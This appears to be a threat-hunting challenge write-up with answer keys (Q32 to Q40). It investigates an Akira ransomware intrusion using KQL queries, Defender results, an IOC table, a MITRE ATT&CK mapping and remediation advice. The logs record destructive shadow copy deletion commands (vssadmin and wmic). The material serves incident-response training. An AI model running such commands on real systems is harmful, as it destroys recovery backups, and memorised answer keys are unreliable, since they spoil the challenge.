Q32 Exfiltration Archive — Hard

Answer	exfil_data.zip

The archive exfil_data.zip was created by st.exe on AS-SRV. Forensic recovery of this file's contents — if possible — is critical for determining the scope of data theft and informing regulatory breach notification obligations.

SECTION 11: RANSOMWARE DEPLOYMENT

Akira ransomware was deployed as updater.exe to disguise itself as a legitimate Windows update process. It was staged on AS-SRV by powershell.exe, executed, wiped shadow copies, encrypted files, and dropped the ransom note at 22:18:33 UTC, marking the definitive impact phase.

KQL — Ransomware Deployment (Q33-Q38)

```
// SECTION 11: Ransomware Deployment (Q33-Q38)
// Q33/Q34 - Ransomware filename and hash
DeviceProcessEvents
| where DeviceName has "as-"
| where TimeGenerated >= datetime(2026-01-27 20:30:00)
| where FileName endswith ".exe"
| where FolderPath !startswith "C:\Windows"
| where FolderPath !startswith "C:\Program Files"
| summarize count() by FileName, FolderPath, SHA256, DeviceName
| order by count  desc

// Q35 - Process that staged ransomware on AS-SRV
DeviceProcessEvents
| where DeviceName has "as-srv"
| where TimeGenerated >= datetime(2026-01-27 20:30:00)
| where FileName has "updater.exe"
| where FolderPath !startswith "C:\Windows"
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessCommandLine

// Q36 - Shadow copy deletion command
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-"
| where ProcessCommandLine has "delete"
| project TimeGenerated, FileName, ProcessCommandLine, AccountName, DeviceName
| order by TimeGenerated desc

// Q37/Q38 - Ransom note drop and encryption start timestamp
DeviceFileEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-"
| where FileName has any ("readme")
| project TimeGenerated, FileName, FolderPath, InitiatingProcessFileName, DeviceName
| order by TimeGenerated desc
```

▸ **MDE Query Result —** *DeviceProcessEvents — Process summary: updater.exe identified on AS-SRV among non-standard executables (Q33, Q34)*

FileName	FolderPath	SHA256 (truncated)	DeviceName	count
wsync.exe	C:\ProgramData\wsync.exe	0072ca0d0adc9a1b2e1625db4409f57fc...	as-srv	2
RuntimeBroker.exe	C:\Users\Public\RuntimeBroker...	48b97fd91946e81e3e7742b35545853...	as-srv	2
AnyDesk.exe	C:\Users\Public\AnyDesk.exe	f42b635d93720d1624c74121b83794d7...	as-pc1	2
st.exe	C:\ProgramData\st.exe	512a1f4ed9f512572608c729a2b89f44...	as-srv	1
updater.exe	C:\ProgramData\updater.exe	e609d070ee9f76934d73353be4ef7ff3...	as-srv	1

▸ **MDE Query Result —** *DeviceProcessEvents — updater.exe staged on AS-SRV by powershell.exe (Q35)*

TimeGenerated [UTC]	DeviceName	FileName	ProcessCommandLine	InitiatingProcessCommandLine
1/27/2026, 10:18:29 PM	as-srv	updater.exe	"updater.exe"	"powershell.exe"

▸ **MDE Query Result —** *DeviceProcessEvents — Shadow copy deletion commands on AS-PC2 (Q36)*

TimeGenerated [UTC]	FileName	ProcessCommandLine	AccountName	DeviceName
1/27/2026, 9:09:11 PM	WMIC.exe	wmic shadowcopy delete	david.mitchell	as-pc2
1/27/2026, 9:09:11 PM	cmd.exe	cmd.exe /c "wmic shadowcopy delete"	david.mitchell	as-pc2
1/27/2026, 9:09:10 PM	vssadmin.exe	vssadmin delete shadows /all /quiet	david.mitchell	as-pc2
1/27/2026, 9:09:10 PM	cmd.exe	cmd.exe /c "vssadmin delete shadows /all /quiet"	david.mitchell	as-pc2

▸ **MDE Query Result —** *DeviceFileEvents — akira_readme.txt dropped by updater.exe on AS-SRV at 22:18:33 UTC (Q37, Q38)*

TimeGenerated [UTC]	FileName	FolderPath	InitiatingProcess	DeviceName
1/27/2026, 10:22:15 PM	akira_readme.lnk	C:\Users\AS.SRV.Administrator\AppData\Roaming\Microsoft\W...	explorer.exe	as-srv
1/27/2026, 10:18:34 PM	akira_readme.txt	C:\Users\AS.SRV.Administrator\Desktop\akira_readme.txt	updater.exe	as-srv
1/27/2026, 10:18:33 PM	akira_readme.txt	C:\Users\AS.SRV.Administrator\Downloads\akira_readme.txt	updater.exe	as-srv
1/27/2026, 10:18:33 PM	akira_readme.txt	C:\Users\AS.SRV.Administrator\Documents\akira_readme.txt	updater.exe	as-srv
1/27/2026, 10:18:33 PM	akira_readme.txt	C:\Users\AS.SRV.Administrator\Desktop\akira_readme.txt	updater.exe	as-srv

Q33 Ransomware Filename — Advanced

Answer	updater.exe

The ransomware binary was named updater.exe to mimic a legitimate Windows update executable. This masquerading is intended to delay detection if an analyst casually reviews running processes during incident response.

Q34 Ransomware Hash — Advanced

Answer	e609d070ee9f76934d73353be4ef7ff34b3ecc3a2d1e5d052140ed4cb9e4752b

SHA256 of the Akira ransomware binary (updater.exe). Note: per challenge rules this hash was not submitted to VirusTotal. Block at EDR and network perimeter immediately.

Q35 Ransomware Staging Process — Advanced

Answer	powershell.exe

powershell.exe was the parent process responsible for writing updater.exe to disk on AS-SRV, confirming this deployment was integrated into the operator's automated post-exploitation chain rather than performed manually.

Q36 Recovery Prevention — Advanced

Answer	wmic shadowcopy delete

Volume Shadow Copies were destroyed using the wmic shadowcopy delete command prior to encryption. This prevents victims from recovering files using Windows' built-in snapshot functionality, maximising ransom leverage.

Q37 Ransom Note Origin Process — Advanced

Answer	updater.exe

The ransom note (akira_readme.txt) was dropped by updater.exe itself, confirming the ransomware binary is responsible for both file encryption and victim notification delivery.

Q38 Encryption Start Time — Advanced

Answer	22:18:33

The creation timestamp of the ransom note (22:18:33 UTC, 2026-01-27) marks the definitive onset of the encryption phase. This is the anchor point for the encryption timeline in the incident record.

SECTION 12: ANTI-FORENSICS AND SCOPE

Following ransomware execution, the threat actor deployed a cleanup script to delete the ransomware binary, reducing forensic artefacts recoverable from the endpoint and complicating reverse engineering efforts.

KQL — Cleanup and Scope Confirmation (Q39, Q40)

```
// SECTION 12: Anti-Forensics & Scope (Q39, Q40)
// Q39 - Cleanup batch script
DeviceFileEvents
| where TimeGenerated > ago(90d)
| where DeviceName in~ ("as-pc1","as-pc2")
| where FileName endswith ".bat"
| where FolderPath has any ("ProgramData","Users\Public")
| project TimeGenerated, DeviceName, FileName, FolderPath, SHA256,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc

// Q40 - Scope: hosts running updater.exe
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-27) .. datetime(2026-01-28))
| where FileName == "updater.exe"
| summarize count() by DeviceName
```

▸ **MDE Query Result —** *DeviceProcessEvents — updater.exe execution count by host confirms scope (Q40)*

DeviceName	count_
as-srv	72
as-pc2	60

Q39 Cleanup Script — Hard

Answer	Clean.bat

Clean.bat was executed post-encryption to delete updater.exe from the filesystem. This self-deletion technique is designed to complicate forensic recovery of the ransomware binary and slow reverse engineering. The script name follows the same capitalisation convention as kill.bat, suggesting a standardised toolkit.

Q40 Affected Hosts — Hard

Answer	`as-pc2, as-srv`

The compromise scope was confirmed as two hosts: AS-PC2 (initial access origin and lateral movement launch point) and AS-SRV (ransomware deployment and encryption target). No additional hosts were found to have been compromised during the investigation.

Appendix A — Indicators of Compromise

All IOCs identified during the investigation. Do not submit file hashes to VirusTotal or any public reputation service without prior authorisation.

Type	Indicator	Context
Domain	sync.cloud-endpoint.net	Payload hosting / C2
Domain	cdn.cloud-endpoint.net	Ransomware staging
Domain	relay-0b975d23.net.anydesk.com	AnyDesk relay
IP	172.67.174.46	C2 infrastructure
IP	104.21.30.237	C2 infrastructure
IP	88.97.164.155	Attacker external IP (AnyDesk)
SHA256	0e7da57d92eaa6bda9d0bbc24b5f0827250aa42f295fd056ded50c6e3c3fb96c	kill.bat
SHA256	66b876c52946f4aed47dd696d790972ff265b6f4451dab54245bc4ef1206d90b	wsync.exe (original)
SHA256	0072ca0d0adc9a1b2e1625db4409f57fc32b5a09c414786bf08c4d8e6a073654	wsync.exe (replacement)
SHA256	26d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193b	scan.exe
SHA256	512a1f4ed9f512572608c729a2b89f44ea66a40433073aedcd914bd2d33b7015	st.exe
SHA256	e609d070ee9f76934d73353be4ef7ff34b3ecc3a2d1e5d052140ed4cb9e4752b	updater.exe (Akira)
File	kill.bat	Defense evasion script
File	wsync.exe	C2 beacon
File	scan.exe	Network scanner
File	st.exe	Data staging tool
File	exfil_data.zip	Exfiltration archive
File	updater.exe	Akira ransomware binary
File	Clean.bat	Anti-forensics cleanup script
Account	david.mitchell	Compromised user (AS-PC2)
Account	as.srv.administrator	Lateral movement credential
TOR	akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion	Akira negotiation portal

Appendix B — MITRE ATT&CK Mapping

Tactic	Technique ID	Technique	Observed Activity
Initial Access	T1133	External Remote Services	AnyDesk pre-staged from prior compromise
Execution	T1059.001	PowerShell	Invoke-WebRequest, powershell.exe staging ransomware
Persistence	T1543	Create/Modify System Process	wsync.exe C2 beacon dropped in ProgramData
Defense Evasion	T1562.001	Disable or Modify Tools	kill.bat + DisableAntiSpyware registry modification
Defense Evasion	T1036.005	Match Legitimate Name/Location	updater.exe masquerading as Windows update process

Tactic	Technique ID	Technique	Observed Activity
Credential Access	T1003.001	LSASS Memory	tasklist | findstr lsass + named pipe lsass access
Discovery	T1046	Network Service Scanning	scan.exe portable network enumeration
Discovery	T1135	Network Share Discovery	Net view commands against 10.1.0.154, 10.1.0.183
Lateral Movement	T1021.002	SMB/Windows Admin Shares	as.srv.administrator lateral authentication to AS-SRV
C2	T1219	Remote Access Software	AnyDesk via relay-0b975d23.net.anydesk.com
C2	T1071.001	Application Layer Protocol: Web	wsync.exe beacon over HTTP/HTTPS
Exfiltration	T1560.001	Archive via Utility	st.exe creating exfil_data.zip for exfiltration
Impact	T1486	Data Encrypted for Impact	updater.exe Akira ransomware deployment
Impact	T1490	Inhibit System Recovery	wmic shadowcopy delete to destroy VSS backups

Recommendations

The following remediations are recommended based on investigation findings:

- Block all identified IOC domains (sync.cloud-endpoint.net, cdn.cloud-endpoint.net) and C2 IPs (172.67.174.46, 104.21.30.237) at the perimeter firewall and internal DNS resolver immediately.
- Isolate and reimage AS-PC2 and AS-SRV. Do not attempt in-place remediation given the depth of compromise and confirmed anti-forensics activity.
- Reset all credentials associated with david.mitchell and as.srv.administrator. Treat all credentials cached on AS-PC2 and AS-SRV as fully compromised.
- Audit all privileged accounts for unauthorised changes. Review the original Broker incident access vector to identify any additional accounts that may have been harvested but not yet used.
- Implement Application Control (WDAC or AppLocker) to prevent unsigned binary execution from C:\Users\Public, C:\ProgramData\, and user-writable paths.
- Enable Microsoft Credential Guard to prevent LSASS memory access via the named pipe interface exploited during this intrusion.
- Restrict BitsAdmin and PowerShell download capability via Group Policy. Apply Constrained Language Mode for PowerShell where operationally feasible.
- Deploy an AnyDesk allowlist policy restricting connections to approved relay domains and external IPs. If AnyDesk is not a business requirement, block its execution entirely.
- Protect VSS snapshots using tamper-resistant backup solutions that cannot be deleted via wmic or vssadmin from standard user or compromised administrator context.
- Engage with the Akira negotiation portal only through qualified legal counsel. Preserve the victim ID 813R-QWJM-XKIJ for all incident records and insurance correspondence.

END OF REPORT

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